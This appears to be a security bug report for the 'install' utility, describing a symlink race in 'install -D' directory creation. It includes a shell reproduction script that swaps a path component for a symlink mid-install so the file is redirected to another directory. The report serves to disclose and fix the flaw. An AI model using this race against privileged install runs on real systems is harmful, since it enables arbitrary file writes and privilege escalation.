Symlink race in install -D directory creation #10013

Component

install

Description

The -D flag creates parent directories using create_dir_all() on pathname, then installs the file via pathname-based I/O. Neither operation anchors traversal to a directory descriptor.

Test / Reproduction Steps

rm -rf /tmp/testdir /tmp/target
mkdir -p /tmp/target

install -D /dev/null /tmp/testdir/a/b/c/file &
INSTALL_PID=$!

while ! [ -d /tmp/testdir/a/b ]; do :; done
rm -rf /tmp/testdir/a/b
ln -s /tmp/target /tmp/testdir/a/b

wait $INSTALL_PID
[ -f /tmp/target/c/file ] && echo "race won" || echo "race lost"

Impact

An attacker with concurrent write access to the destination tree can replace a path component with a symlink between directory creation and file install, redirecting the write to an arbitrary location. This is exploitable when install -D runs privileged and writes to attacker-influenced paths.